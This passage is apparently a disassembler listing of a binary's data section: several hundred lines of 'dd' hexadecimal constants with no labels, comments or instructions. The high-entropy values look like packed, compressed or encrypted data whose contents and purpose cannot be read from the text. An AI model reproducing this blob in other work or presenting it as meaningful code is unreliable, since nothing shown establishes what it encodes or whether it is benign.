		dd 32DAF72h, 479ADB00h,	0A8181E7Eh, 46820304h, 6B51F65Eh
		dd 84F8C79Ch, 528141Ch,	0BC87E3B4h, 0E4082440h,	0EC895735h
		dd 0C56900C3h, 0B85D8F32h, 0B200932Eh, 0AF7FBEC6h, 2C7A5F4h
		dd 0FFE96B4h, 7C44319Ch, 0BC507C16h, 0FCEC1046h, 7AF70159h
		dd 0C96DA8B0h, 804900D5h
		dd 58480010h, 0BB8DE7BAh, 0CE703485h, 0CC8B3E24h, 1112A1BAh
		dd 5E807774h, 3EBB2CD4h, 79570210h, 0C448C80Fh,	5003DEC3h
		dd 3B760E22h, 0A857BB21h, 1CD7B37Bh, 5DAD39F7h,	46A444F2h
		dd 2D20815Fh, 22DE099Fh, 0C490F2F7h, 4EEAB53Ch,	369C0450h
		dd 0E0000499h, 771AE667h, 252B07CFh, 10CE5471h,	0A7F26A6Fh
		dd 380034B0h, 0EDD659AEh, 3A0F701Eh, 0F7180785h, 6AF269A9h
		dd 574A811Dh, 4F9C1F40h, 0A8365B82h, 8320B27Ch,	0E8918CD7h
		dd 9E702C7Bh, 1204965h,	2452E091h, 0D7EA5113h, 0ECB33048h
		dd 0EE006E77h, 0B8D8A4D3h, 0E89D54C8h, 10EE7Eh,	52F4CBC6h
		dd 0BBB4EFD6h, 99A24C00h, 0FA4D4874h, 813CA8C1h, 8BCC005Eh
		dd 8FA8BF72h, 0E5249040h, 0C01050AEh, 0C8340EC4h, 7F84ADC0h
		dd 17FCB041h, 410117CAh, 8C91B504h, 0E445FD68h,	370530Bh
		dd 0E58384B1h, 7CAC7C2Bh, 0D8C05051h, 22924209h, 1A5FA28h
		dd 60240285h, 0A0B2BFD0h, 6D09C819h, 197AAECh, 0BD7C561Ch
		dd 3C75CD01h, 0E1A52C76h, 87CAAE00h, 0B88919EFh, 0DAE3002Ch
		dd 5666C42Fh, 231F46CBh, 16BED5C6h, 201FDCC2h, 744FB912h
		dd 9F0051E9h, 0D5A05136h, 7D00EDA8h, 50404518h,	1B71D681h
		dd 0F88FFDF4h, 0CAF67EF8h, 577DA70Ch, 14DCE120h, 8072EB49h
		dd 0C8AF587Ch, 616850C0h, 426AE7Eh, 0DB8B7CDFh,	0B1C8223Fh
		dd 7A4922D5h, 0F8679449h, 0B0002430h, 0DEABA215h, 1513366h
		dd 50E3D980h, 0F837419Ah, 55084CAh, 2F6078A8h, 0F08CCD71h
		dd 5FD300E7h, 6E5497BCh, 12011F24h, 0D744E79h, 0A984BF49h
		dd 32D2DFh, 93AE317h, 625D003Bh, 0FACDBE88h, 266E21EBh
		dd 0FBDA4B0h, 0C4A03948h, 5C1D5C2Ah, 2A4E8F1Eh,	9383A99Fh
		dd 0C8732CACh, 77196C5Dh, 0E4DF032Bh, 63C8C1A5h, 35DC92DDh
		dd 12323C41h, 7F84447Bh, 0CFD033Fh, 15C7E6DFh, 5AD7788h
		dd 0F31E2101h, 0B42D5733h, 90A1FCC8h, 363E44A0h, 0E94EFCh
		dd 667A4FDAh, 0C8CB18B5h, 4094A524h, 4C93BE84h,	9C16F040h
		dd 95264D6Dh, 4E88602Bh, 0CC1C4501h, 2A10FB64h,	4A895B7Ch
		dd 9E4F5003h, 9246948h,	4BF719F0h, 4790FCE8h, 49146Eh
		dd 0B21DEB0h, 3B9B7CEBh, 0E5EC7800h, 0B50254CAh, 334E2E82h
		dd 8C2D0141h, 8E3014CDh, 609F7F69h, 808DFF56h, 21230037h
		dd 65F05ADFh, 0EB04AFFBh, 55C0AD2Ah, 0E460E4C1h, 402F0030h
		dd 3900D331h, 62D1D9CDh, 170615B8h, 2E6757h, 0D5378748h
		dd 9CA85DB1h, 5B298184h, 2490805Eh, 13DE5780h, 4313CFF2h
		dd 0C4140CF7h, 38DA6544h, 832DE008h, 3DE2531Eh,	0B059F6B8h
		dd 76C86B09h, 12800049h, 1C5FD8Fh, 0D59BC3FFh, 890262A6h
		dd 82E9D4B0h, 84DC3F20h, 0B121CDD8h, 0C4491286h, 61AF00D8h
		dd 527D74F2h, 5572CBB0h, 0DF843506h, 4848E841h,	83800C4Eh
		dd 0BFB57160h, 56F03B50h, 4F1270A5h, 3685A420h,	0E7660089h
		dd 0EE117FFCh, 740077D2h, 1D6D7170h, 0D11A10h, 0CC2D48F7h
		dd 41A1F958h, 0B4924E12h, 1C900450h, 91652118h,	5408AF30h
		dd 0D7F03003h, 0A609331Eh, 85CA488h, 0C162F8E6h, 69F44C07h
		dd 0F0393276h, 4FAB18B6h, 0AAE911C8h, 0BB94841Fh, 0AE9653C0h
		dd 6BA0C63h, 5A7D9E35h,	3672291Ch, 0CE97E6Ah, 251D1A60h
		dd 54920084h, 0D37DEEFDh, 4E7B551Eh, 179064A3h,	6891EDD2h
		dd 0BB88003Ah, 0D6A71DDh, 2CA01E61h, 9C3F801Fh,	4227AA82h
		dd 305F5E00h, 0D9100CCEh, 0D7F11h, 0FA68BD26h, 289A1E80h
		dd 0EEAADA1Dh, 4636B100h, 6AE0D4h, 6C0E34BFh, 9DF42CEAh
		dd 6E330504h, 0B4C84FC7h, 0E7BD008Eh, 0C032C8C3h, 9C3802B1h
		dd 0D5998028h, 9269F042h, 21461455h, 4180A815h,	83C980AEh
		dd 808BA4Bh, 0F07B9E2Fh, 1EABEF59h, 12305AFEh, 10CD3074h
		dd 0F8BBBDh, 3B63EB58h,	0DC0426AAh, 0ECE2CE98h,	202560C2h
		dd 19F387C0h, 14330239h, 80F8AE7Ch, 0AD4CC163h,	11210034h
		dd 45CA4637h, 30006696h, 0B827A2A5h, 5FFD677h, 98CBDA38h
		dd 700DC02Eh, 3A002A21h, 166CA3D7h, 7DCEB3DBh, 39DF021Bh
		dd 0C7E2B4A6h, 487F1840h, 0A1637500h, 0A9D657E4h, 32D90AC4h
		dd 80FC7849h, 1776E6FFh, 0BB00AC9Bh, 39242853h,	1B8FD0Dh
		dd 0CD3B88FAh, 2069E44Ah, 5890AC07h, 37362244h,	69497214h
		dd 0B897D468h, 15550100h, 90C88AF4h, 7F48009Dh,	1AE86AF6h
		dd 0F700FC61h, 0A9F8EA5Eh, 0B31EBCh, 80ED66B8h,	0BF194E27h
		dd 11677031h, 0F0294FC5h, 6468B000h, 0CF429E6Bh, 7BB6E902h
		dd 9A98FDA5h, 3A425DE4h, 4336E424h, 0D0B3178Eh,	6C4A29Ah
		dd 0D28840ADh, 8205D652h, 612E213Dh, 0DC06640Ah, 6228AB80h
		dd 74E44Eh, 7C337B77h, 31E5A18Fh, 899DD63Dh, 0D142F7h
		dd 62F18404h, 8AD4F9Fh,	3380FC40h, 0A20C2C86h, 0A3150FB2h
		dd 0E21F117h, 0C8DD4984h, 0D20AE9CDh, 0FB546F1Dh, 9964CC3Eh
		dd 9C132FC0h, 15060600h, 49BB07CBh, 8640012Eh, 7D971935h
		dd 0D0C87060h, 76918F3Ch, 36421CB4h, 58FB4043h,	0BF0D3F88h
		dd 7D84D580h, 0B90E802Fh, 6E046AFEh, 0DB35D57h,	0C8724B4h
		dd 0CA78FB23h, 6E046781h, 0CC41F247h, 0B2D72180h, 0FBF71EADh
		dd 5E82C0D2h, 0DDDA928Dh, 4E39A712h, 0F33B1020h, 0E262F01Bh
		dd 0EF4900CDh, 9EB63310h, 25026BD9h, 6370C616h,	22176221h
		dd 0E4AC7CC0h, 323614C4h, 2096CC67h, 7CC2504Ch,	1316950Eh
		dd 0F815E5D5h, 0EC6303EEh, 0F8134F79h, 64D1C9F7h, 67FCB33Ch
		dd 0E19560B9h, 1F0CA64Ah, 1E6ECB00h, 7D83C6F6h,	0A7593254h
		dd 7452F778h, 0DA5DB400h, 6AF2756Dh, 0F0FB515Bh, 549A29E4h
		dd 38C1D867h, 7186CE62h, 60A155D6h, 5800B75Ch, 794880F8h
		dd 182E9C7Fh, 901D136Bh, 0A844B995h, 0CAD8179Dh, 6D74234Fh
		dd 15661EB0h, 53E13D02h, 4065ADA5h, 28334360h, 2CB45F9Fh
		dd 4080B4D0h, 0AF76CEC0h, 0A54BB5F8h, 0B4E8D420h, 0BE0500C6h
		dd 51EDF716h, 0D5E826FDh, 43FA8E05h, 0CD1348D4h, 0FE6CA0C1h
		dd 0C8DD5203h, 0B73981E0h, 5BE01FB8h, 4AAE92C7h, 52EFA310h
		dd 0FD9407D7h, 0C7C0E579h, 56C130C8h, 94A8505Ah, 7D523337h
		dd 402C3AE0h, 0F7970002h, 81266978h, 0D101F560h, 0E73FAE10h
		dd 21F48B20h, 7C11FB2Dh, 21E473A3h, 3FE5001Ah, 0D7944ABDh
		dd 0EC489C4Eh, 70498C86h, 0DC2CD979h, 0B100317Ah, 0C5AFEB42h
		dd 0C3500065h, 469EE42Ah, 863B8C25h, 282E8096h,	585C894h
		dd 3065EC4Dh, 1B497949h, 9F00BF34h, 0A28FB754h,	1775A8Ah
		dd 0ACB67C87h, 0F6561374h, 51218A0h, 0A200C4CAh, 27AB9C2Eh
		dd 96342Fh, 0D916A1B1h,	216B506Ah, 3100497Bh, 0FDF4F006h
		dd 38DF0C38h, 5797A75Bh, 0AAECFEh, 0F534212Fh, 0C3B8E41Fh
		dd 0BD8A4318h, 903CC0EFh, 7C3E03C8h, 1DAC0256h,	0E089DD67h
		dd 0CE55F6h, 139A24F0h,	0D287B385h, 2761C401h, 0B4E01C92h
		dd 4A39F941h, 61614CCh,	780EA8E9h, 20B70C9h, 0CD7A87h
		dd 0B8DD681Ch, 7F9885h,	1B982CC1h, 0B31F24EBh, 5800C07Ch
		dd 0AC6B68AFh, 0FE5FFC21h, 54F6092Bh, 0C4100C3Fh, 81188C0Fh
		dd 0D340ED99h, 5D1F0419h, 0E5ECC1B1h, 0EBA4FDA0h, 0B67B04A8h
		dd 90210616h, 0FE8DF430h, 0DA8C17DBh, 3A00BBBEh, 5C7BED50h
		dd 0D16300C7h, 1299AF3Eh, 51C3A8F7h, 0F0D73575h, 4D05B56h
		dd 0D68549E2h, 69489832h, 9C839B00h, 42EB5578h,	7E741EC2h
		dd 94A5BCFCh, 1C33080Bh, 99C0EDA0h, 21805B58h, 2420277Bh
		dd 475E9DAFh, 0E882200h
		dd 1554E88Ch, 119E00E2h, 36C1D576h, 51C04A33h, 0F3F457B3h
		dd 0B4FA09E1h, 2389B06Eh, 7CA428h, 0B178AFCh, 117D50C0h
		dd 1B7E18B0h, 80E93E3Ch, 0BFEB73F1h, 0C0AFF7B1h, 47323DF9h
		dd 8A02399Dh, 7E60357Dh, 3EE47A5Ah, 816A49C5h, 941C2E1Ch
		dd 0C0809CECh, 1EEAF007h, 57563B01h, 2AFBCA33h,	37C47831h
		dd 0F9716216h, 40DA5A7Ch, 9021362Dh, 98C60D34h,	85C30BA8h
		dd 0B090D06Ah, 1F167343h, 0E302C1E0h, 895F2884h, 90030890h
		dd 83312402h, 8F44C0AEh, 4AFD0204h, 0F12DA873h,	131CACE1h
		dd 58F2BB3Ch, 0C8C06871h, 610EDD14h, 606CF500h,	0F432693Eh
		dd 0C5113FCCh, 2DA4ACAEh, 0DFA178A0h, 8C0915ADh, 983014B7h
		dd 0FB521Ch, 6E10B164h,	4E08EBFFh, 51E9DC65h, 7A60F3h
		dd 53AE2DDFh, 8DD71838h, 0C83444B8h, 4C82A90Ah,	117211F1h
		dd 0DD201077h, 6AAE028Bh, 80585B85h, 0FAB3EC68h, 0F19D31C5h
		dd 31493C98h, 7C580DCAh, 0A61A757h, 0FC404434h,	4F1FD6h
		dd 2E567297h, 0E6886BD1h, 290011FAh, 0E996E3BAh, 5952F191h
		dd 0F0906850h, 54C42489h, 0A33A2C00h, 402F821h,	8055005Ch
		dd 0B5139BCDh, 7B0015D9h, 4EB4BF52h, 1D983A7Eh,	474FCEE9h
		dd 112C78C0h, 4117B791h, 4066B408h, 9AC5E514h, 2131C1C1h
		dd 0F1FF76D0h, 0C1CB0F89h, 11827908h, 362B7CAFh, 171D4DAh
		dd 0F48C9A00h, 4FDB26B4h, 1C84F063h, 0C202F60Fh, 0B2A060A7h
		dd 0DF3A60F7h, 9D0800B5h, 2AECD7E1h, 900B2441h,	0EA2DFCF7h
		dd 40064300h, 4860AC89h, 6D13D2CEh, 0C13C84D8h,	58E35D8h
		dd 13C5F430h, 939E85Ah,	5F23D181h, 0C84F5C00h, 6900DDB4h
		dd 183E0F25h, 5964CBh, 89F4E3A0h, 9F3B760Dh, 0EC562F07h
		dd 0ADE06952h, 1DDF95D1h, 0C0B33E55h, 739D2AEBh, 5499C05Fh
		dd 0AC7E2581h, 70E80218h, 6C5C09D0h, 584B358Eh,	0CAB2CBB0h
		dd 9F496100h, 8AD8FA88h, 133E002Bh, 5F6D1EE2h, 0B725CAFBh
		dd 5754403Bh, 325A2E2Dh, 22BCA6FCh, 2AAB0FC8h, 3D20E28Ah
		dd 0E491B02Bh, 848FF101h, 4BD1B802h, 0A126DC48h, 2074E198h
		dd 98AD4A94h, 0B000FFC0h, 0C4D449FCh, 7621DEAFh, 0A3E4A894h
		dd 1C491D6h, 0F834812Fh, 0CF089E1Ah, 0BF765641h, 0CC554B66h
		dd 7C902C13h, 1D6995BEh, 7AC4CDFh, 0C09449D0h, 89CDD188h
		dd 40A64E07h, 0AD83183Fh, 9DB2C9EEh, 0C1D2EDC8h, 0E65C9A10h
		dd 5AD1F0EFh, 288B3E30h, 784D260Fh, 945300E5h, 0BCB5E380h
		dd 0F80078FEh, 1BB1BEF3h, 1892197Dh, 41E22A82h,	5F3AA67Bh
		dd 2DED0929h, 25C380ABh, 3FCC80C8h, 0EE074BFFh,	7732B257h
		dd 30D2402Fh, 55302C70h, 64AD40D7h, 7BD3714Ah, 9CFB0C28h
		dd 2BB988B3h, 6A39B200h, 0E817618Eh, 3B9907B1h,	6C9C0608h
		dd 3218D1D8h, 23184D0h,	83910E05h, 3082DD1Fh, 80A86B09h
		dd 0A3058F58h, 0BE5A3620h, 147EC08Eh, 56FCA200h, 32CC2CDEh
		dd 65B53777h, 0C6500C38h, 125E1D00h, 0CDDC63E9h, 159746Eh
		dd 0B3FAE053h, 830FEBDAh, 7D875580h, 0CCE000CDh, 5627D043h
		dd 7A00683Eh, 89E2B7F6h, 0C0E85A2Fh, 428187F9h,	330F861Bh
		dd 95EA5952h, 8F2B0324h, 1DB92A27h, 0FDB3F7E9h,	0C7600803h
		dd 3A07F47h, 6E60DD8Dh,	1C1EE630h, 2A76D1h, 9C2F3871h
		dd 0F5321F22h, 0FF09C800h, 0E39F0644h, 6D013E64h, 0F78CD503h
		dd 23F0BA8Fh, 0B2A302Bh, 0D43798DCh, 0C5807933h, 48A57FDh
		dd 5ADC653Eh, 0FA189230h, 79FE8480h, 0D2009A4Fh, 3385EFEEh
		dd 751D52Ah, 0FCF62D4Eh, 5DEECFB7h, 0CD50ED2Ch,	32078F00h
		dd 0DD466B8Dh, 9AF620D2h, 0FD8EEE1Fh, 0E01E9987h, 7A584820h
		dd 2DCF245Fh, 9A44BE04h, 0A1C35579h, 90021285h,	1182C9C2h
		dd 0C4036D4h, 0D15A1A3Fh, 0EFE1202Ah, 0FEF21F00h, 1E8B0394h
		dd 0D652008Ah, 126EF4BBh, 0D902920Bh, 0C81C1893h, 171E1AEh
		dd 301339A4h, 0C4B3E059h, 0CD3CC803h, 0C92C4F51h, 3EC10FDh
		dd 7B57D72h, 69B0CE82h,	0A0B09CC6h, 74896060h, 112724h
		dd 0ACE69761h, 0A728067Ah, 853CC51Fh, 56CCADC0h, 0C9B6EE02h
		dd 0D018B148h, 410E3C4Fh, 60F7703Dh, 0FE45AADCh, 8F2C00E9h
		dd 2DE3EAE4h, 0A001D4A1h, 8E29A522h, 9451EBBFh,	0C9809C2Ah
		dd 0F9F6FBE7h, 0C5F4B8B1h, 8AC44200h, 0E2C7C140h, 56DD093Ah
		dd 0B010DBABh, 873CF730h, 2F4A1C5Ch, 2B00B99Dh,	0AF2648BBh
		dd 0C4357461h, 0D397F5A1h, 8CE84A30h, 3C00A66Eh, 0A364CC6Dh
		dd 1EFFCF10h, 0C016B075h, 26216CF8h, 0EB0939A2h, 107153E5h
		dd 9280F580h, 42DF0008h, 1103816Ah, 4800780Ah, 20F5F6B5h
		dd 5CD95452h, 0AE00F1D3h, 0DF72C9A1h, 0DC001C81h, 48F2406Eh
		dd 0F778987h, 0A0B38E85h, 4331C01Eh, 0DCA6AE0Fh, 56D8FB01h
		dd 306E835Fh, 6D64C30h,	6B9D9859h, 8D3A8186h, 28D558A2h
		dd 47F8049h, 9C60F5E8h,	55CF5621h, 7CFF029Ah, 40BBEF70h
		dd 4A030140h, 489D48h, 239948B1h, 98EC5F5h, 13E25E87h
		dd 6FCDA400h, 380BCCBEh, 0A9C2601h, 844898ABh, 113EE280h
		dd 0C085F7CDh, 328AB971h, 5C15D4E3h, 0BC355Ah, 52A54FB4h
		dd 0B8EF04E1h, 392C0136h, 0D120C7D2h, 0E849EA9Dh, 93F10D7h
		dd 44892DFh, 0ED77D3B1h, 0D578D241h, 9CD13E00h,	9A74A0B4h
		dd 0E34CA34Ah, 19797C6Bh, 0D162EB8Ah, 67A9E385h, 31C424C1h
		dd 128E3844h, 32222B08h, 7E6087F4h, 4400C4D3h, 4F270597h
		dd 41566C3h, 0E66A3BBFh, 0B5F488CAh, 78F39C89h,	0B22904C1h
		dd 8C03B487h, 0B3749D94h, 0D25158A1h, 16C8D226h, 956227Dh
		dd 34107255h, 0DE64466Dh, 6C805C29h, 18ACCE2Fh,	80DB1398h
		dd 7CA02A29h, 35006B47h, 986505ABh, 0F88D7584h,	8C998Bh
		dd 0A1737CCDh, 0FF0AD5D8h, 803D5B9Ah, 0D74C3180h, 0E29F89Fh
		dd 0A9725A4h, 0EAC46E0h, 0E9319AA6h, 86B0C028h,	4C9BD710h
		dd 500F1398h, 0A208DB6h, 4A01E402h, 5F984BC9h, 8A3A8032h
		dd 84FF7315h, 19BF2A19h, 0E3047050h, 44DB6D00h,	2CC33CADh
		dd 740F0030h, 0A9D75E1Ah, 0F4A1DC7Ch, 0D4291080h, 0E3EF4130h
		dd 0CD22E000h, 515240B5h, 0D2261234h, 8E54203Eh, 5D798C99h
		dd 2A40152h, 0FFF33BBh,	4BBC83FEh, 0CE9901EBh, 0C773B286h
		dd 0D48C249Ch, 4D1DA4B0h, 0BF0FB3BAh, 55B08081h, 0C3F9D146h
		dd 0D41E3F60h, 0BB2A5918h, 0A257D9h, 0F9B87340h, 473AF81Bh
		dd 26CB7A26h, 0B756200h, 334670h, 2B737EB5h, 0DF899F36h
		dd 1E667600h, 99808EB3h, 8B20B151h, 38909BD4h, 751F5DABh
		dd 5400D364h, 2ABBBFB1h, 6D9302D0h, 0E3509AE9h,	0F48790A9h
		dd 11504A06h, 8AC200B6h, 8DB14C98h, 0A4354C07h,	0E7133A80h
		dd 4600B287h, 0AA320F6Eh, 2409815h, 2E29863Dh, 0C0C41D30h
		dd 9CD2B124h, 85483318h, 4466245Eh, 1BB289B4h, 9D2A7C10h
		dd 0F3E191C0h, 3844378h, 393EF125h, 3D88025Bh, 88009D69h
		dd 8F4D7922h, 86F5CEh, 874B01D2h, 8EE1DA3h, 21426900h
		dd 7FCDDF41h, 89D560BEh, 0E2A54C90h, 0B50212FCh, 4DC22952h
		dd 0FB986328h, 8F9C8070h, 5C2D741Eh, 2098DCB0h,	9559D51Fh
		dd 0E2B10008h, 0BB980520h, 234B0092h, 0CD69AA83h, 37045254h
		dd 0F62514AFh, 0EBCE088h, 6A599533h, 0E0E249E6h, 0B6ECAC1Dh
		dd 9023B053h, 307EC8B3h, 2A8429ABh, 0AED403CCh,	31A80B1Fh
		dd 97FEFA8Eh, 0BAF5F01Fh, 0A3B90141h, 5EF41E5Ah, 86A8A01Fh
		dd 30B34D6Ah, 0BB013221h, 48CF014Bh, 38076560h,	0AA19AE03h
		dd 8262823h, 6F9D26ABh
		dd 2BD04288h, 0D9005444h, 0A1441C5Fh, 1D91D878h, 0D427B907h
		dd 550B604Ah, 2C044885h, 0D0191B06h, 0A8DD237Ch, 9B39AC0h
		dd 3BD42EF0h, 1C3F1C48h, 0C5C0ACABh, 0BB269A3Ah, 0CE815801h
		dd 7BB7A5D7h, 2807AC70h, 3C8AC2Dh, 99DD6CD4h, 6900B350h
		dd 92278ECDh, 739AEB6Dh, 9CA0A849h, 0CE4B16Eh, 536961A0h
		dd 0B9AE2600h, 0D56E588Fh, 483E024Bh, 0D47B6CF3h, 1FFA504Eh
		dd 0CC39A1F9h, 8323580h, 2397A7Bh, 3D60B8Eh, 1E06007h
		dd 55034929h, 0BA860599h, 0B248051Ch, 4E1B073Fh, 6C43CE8Ch
		dd 94C8E8CDh, 362E617Eh, 0B159F40Ah, 2805028h, 0BF44FF3h
		dd 2B418C00h, 7004D59Bh, 0A5E70127h, 0BF42B4D4h, 0A2AC485Bh
		dd 93977B00h, 59502AEBh, 2565E0EAh, 30A0A491h, 30282388h
		dd 70D51828h, 6480B47Ch, 0BF7A0B94h, 0A700A687h, 0B8E571DAh
		dd 0DD83B500h, 9ACD4AA2h, 1ED51DFEh, 0DC334E44h, 50A76080h
		dd 9500C006h, 3ADF9E25h, 72A58C81h, 572403D2h, 0A1261E6Eh
		dd 7D84B4F8h, 48AB3228h, 38D42A0Ch, 60F5F131h, 8C62199Eh
		dd 0F700697Ah, 0CDC5297Fh, 6347A3h, 0A88F938Dh,	7CF59E08h
		dd 6D5B7400h, 78C3820Bh, 0C4453AE0h, 5446E01h, 402C0295h
		dd 489985CCh, 5A50E4A4h, 5003438h, 0E17BFD11h, 167133C4h
		dd 0A16C225h, 428C5790h, 6CC46D9Ch, 0F56037F4h,	1E8D8A49h
		dd 0E24803CCh, 8E919FD8h, 0A98FADA2h, 0D4EC2172h, 9449BE3Ah
		dd 80BCBFC6h, 59C83066h, 22793A8Dh, 67ACFC84h, 3BB8D806h
		dd 0D480E700h, 5D01199Fh, 56992A83h, 0F69424Ch,	0C226C6B1h
		dd 0E4765FA2h, 0BA6B0910h, 0DC8034DEh, 0E5EB3BA6h, 0DA32B201h
		dd 0ED33D5E4h, 0D37C2980h, 57A231B3h, 2EC40D48h, 0CE088088h
		dd 20F51387h, 2EFE676Ch, 0C669CD02h, 4B88A024h,	383980B4h
		dd 31E74A23h, 2DBF8E84h, 0CC97011Ch, 8165EB7h, 0E426E0h
		dd 0D73D950Dh, 0D3841954h, 33AF6F00h, 26109296h, 254E7950h
		dd 0C0A2F366h, 0DA21EFD4h, 5980D6BFh, 0A2BC2601h, 8A011420h
		dd 7597F33Fh, 0C2D8BF5Fh, 191826DDh, 49BB002Ch,	446112C0h
		dd 0D427F80Bh, 0F5709135h, 111EEC72h, 7B8640F9h, 0E3171A3Eh
		dd 7AAC20Fh, 49A06F77h,	8C30C409h, 1C285CECh, 4AE3FD05h
		dd 3A2C005Ah, 0E76A88B8h, 852B2807h, 1EE0F975h,	0FC2E93BCh
		dd 512701DCh, 5D99BFECh, 5AE18C28h, 1FDD413Fh, 0C00AAB27h
		dd 350F12D4h, 46007A6Fh, 30D9AA4Eh, 0C4A84D3h, 0DB4D4BC1h
		dd 8FF4D299h, 0EA5E9914h, 3A2228h, 275E1E4h, 22F79B2Dh
		dd 8384CC00h, 6F396B2Eh, 2C300136h, 0BDD51BB3h,	2A2901DFh
		dd 0A006029h, 0B316A4F5h, 71024A98h, 0B2FD9CCDh, 50C460D3h
		dd 0EC7D5C85h, 3C372Bh,	2BBF616Eh, 66904884h, 55F4A700h
		dd 0DCC28D72h, 0CD9200F7h, 228FC9FAh, 4A0002F8h, 9A23BFB3h
		dd 483AA018h, 280530D0h, 1292B66h, 3D756D48h, 0D2B03B74h
		dd 6ED70094h, 84515DA6h, 9C24F727h, 94B9057h, 0DB5485CCh
		dd 68E99609h, 0F8910648h, 7D870B57h, 34068F29h,	0AD01C139h
		dd 8335B6Dh, 0D3C8EDB3h, 5F992E95h, 6B9C4158h, 0A0499481h
		dd 54A680C0h, 0E623205Ah, 0E280A8F7h, 91DD011Dh, 323C1E78h
		dd 2D8032A8h, 34041108h, 30A6A020h, 0D6393B5Bh,	201D1604h
		dd 8280390Eh, 12FB60EBh, 50BD0093h, 0A77CCB4Ah,	0B583F18h
		dd 0B82A8674h, 4A690051h, 35318B77h, 9D018251h,	2C52BAF7h
		dd 4061BFE0h, 40C24F44h, 6B6480F5h, 203DD2h, 0D01C79C1h
		dd 0B59C659Dh, 0A01284B9h, 0EA6E6891h, 0F4701360h, 117020h
		dd 14C0DE42h, 514A6B19h, 82911215h, 41F53194h, 482D579Ah
		dd 0B8B5CD09h, 0E61B2021h, 2C7CC926h, 90982544h, 7C62A80h
		dd 0FAAC3927h, 19BA7628h, 463EE000h, 8DFBA3EDh,	6D4D3CD3h
		dd 0F3A96E01h, 6321B3E2h, 9008037Ch, 0E7D054BEh, 2807E3D1h
		dd 0EC3A0840h, 4144942Eh, 0F433B260h, 0FAF44A7Fh, 0C8CB9400h
		dd 50E90CF4h, 6A3812CFh, 0B4B0C012h, 950048A0h,	2DE104EAh
		dd 553706h, 0B2F74A3Ch,	856BD1FEh, 0D549100Fh, 0C8BEA632h
		dd 0E9EED9h, 8CF75F11h,	0E53F8E66h, 0A04D7925h,	846B7644h
		dd 9AE269h, 2BE783DFh, 5BA4E1C0h, 103C49h, 25EDF8A5h, 1EB4E0DAh
		dd 817DE8AAh, 90449A67h, 0E881DD40h, 5B006FCDh,	5AB5202Fh
		dd 2592D3B1h, 20AE4A99h, 39237840h, 95009AEDh, 0E3AA33A7h
		dd 88FFBAh, 405E53C3h, 5608D04Eh, 2EC53D12h, 8348D401h
		dd 40701587h, 0D18E0499h, 0A21FE1ACh, 6F9C134Ch, 16AA44C8h
		dd 278B3261h, 0EFD5216Ch, 83402409h, 1427688h, 4E77ED75h
		dd 663EE120h, 0C71F7CD8h, 0C887B452h, 200FA278h, 89A133B8h
		dd 3A1A308Bh, 0D290B279h, 0AA6DA080h, 5CDD00A8h, 0E01C17h
		dd 4689DC4h, 0D6905A86h, 0AE70CC12h, 0EB886401h, 48BF1236h
		dd 0AF38404Fh, 0DB6B7D2Eh, 4824023Eh, 0C2B280D0h, 9B2599h
		dd 9CD39F6Ah, 19F58AB7h, 0BD485201h, 0AC3B89B2h, 5C98E7E0h
		dd 8DD67C33h, 1BA9CB00h, 478E2DAh, 0C0885B5Ch, 1DFD1307h
		dd 0E1AA00E8h, 0CFE7EB5Ah, 0FA0B250Ah, 9227DA09h, 873040F4h
		dd 0BBA64835h, 3ADF411Ch, 0C3A7E502h, 7858D1EEh, 7994071Dh
		dd 4971D0Fh, 2A4C83F6h,	5F05E62h, 2673A800h, 37D849A0h
		dd 2CE70093h, 0D43225B0h, 7217C8FFh, 54004631h,	0C5C15C6Dh
		dd 529A005Bh, 0CDF0E280h, 5028EDBEh, 50B1B2A5h,	0A63E5780h
		dd 1B7FB87h, 7AA44E8Eh,	82392DBBh, 0AC9CA588h, 7184C2EEh
		dd 0B446EB98h, 31A0C900h, 0F77472DDh, 695F03EAh, 84D5A4ECh
		dd 6B6C6398h, 6AA230C4h, 936EA004h, 0D6C82E04h,	0D227EFF3h
		dd 3A00D6FDh, 0CD1D8400h, 9B32B962h, 0B2C35D13h, 793580C8h
		dd 15F4BDh, 92D20C7Fh, 7E817B6Ch, 0CC702300h, 6A561C34h
		dd 0DC6305EDh, 80F7EE8Ah, 84F6491Fh, 0D01C978h,	2F8FB17Dh
		dd 0C445A52h, 750AC030h, 0EC72005Bh, 1F9F8536h,	0CE260856h
		dd 0F604887Bh, 8C00D299h, 92E12751h, 618D1201h,	9B340CA1h
		dd 0F551F20h, 5BB3FAD3h, 91A7B938h, 0AE4D6A00h,	7EC16FACh
		dd 3D6E9882h, 0F602DD07h, 315E9873h, 572268C4h,	51290582h
		dd 0C227B0A9h, 0F540476Ch, 224309Fh, 90AD5CB6h,	73F8ECh
		dd 0A7279201h, 902BA603h, 229FA816h, 3A9C7800h,	0B4A29C6h
		dd 5499857Fh, 22C70018h, 0A438509Ch, 585645Dh, 4412A091h
		dd 0FCC410Bh, 7DCD40CCh, 158EB22Eh, 0E8D3BF8Ch,	0BB2B9400h
		dd 763BDEF9h, 100DC702h, 6041C6FCh, 830F0ED4h, 705DD001h
		dd 45A85225h, 0C7355C34h, 0CF228E69h, 92E1FF3h,	0D413D333h
		dd 56917580h, 5F57420Fh, 79CAEC80h, 191800D8h, 41A4FBB8h
		dd 2400CFC7h, 8B574056h, 967ECCB2h, 0B0296774h,	0ED748799h
		dd 2804BF72h, 93F7A02h,	0B194E4h, 0C5260139h, 0D2CCD919h
		dd 7A259CB0h, 0F8784EDFh, 59986569h, 72888A0h, 25F22C00h
		dd 0C56B92CBh, 23F70351h, 0FC31D5FAh, 8DAC3805h, 8870B76h
		dd 8ED21EF0h, 0E4535299h, 852DD848h, 0C9054094h, 4F5D9811h
		dd 82B41404h, 2BAC2943h, 0CEBF8EC0h, 5F981F04h,	0B144EA9Bh
		dd 6405D87h, 560530CAh,	0C048D7ACh, 3FD594A8h, 0F5145891h
		dd 3810040h, 0BC42AF9Bh, 0F401B7D3h, 6784E233h,	0F9940018h
		dd 0D7FACF42h, 0CCCE07A6h, 0F6699D98h, 0BF5C68C5h, 0FBBE85CCh
		dd 0C971CEC0h, 20349880h, 0CD07E0F5h, 6B2E0B7Fh, 0D20527C0h
		dd 0CC095C30h, 56A5CE8Eh, 0D960C991h, 0C0D429E1h, 0AB1B8D47h
		dd 0D60200ACh
		dd 6E0E0BCEh, 40F6C2DAh, 9865C906h, 0C719D5Bh, 0DE10D485h
		dd 4C9C5F51h, 0F8DE950h, 0CEF9AF3Ah, 98FB5460h,	0C1987C4Eh
		dd 741C62F5h, 182C042Ch, 0DC003E11h, 79BEF4AAh,	8E7F0DDDh
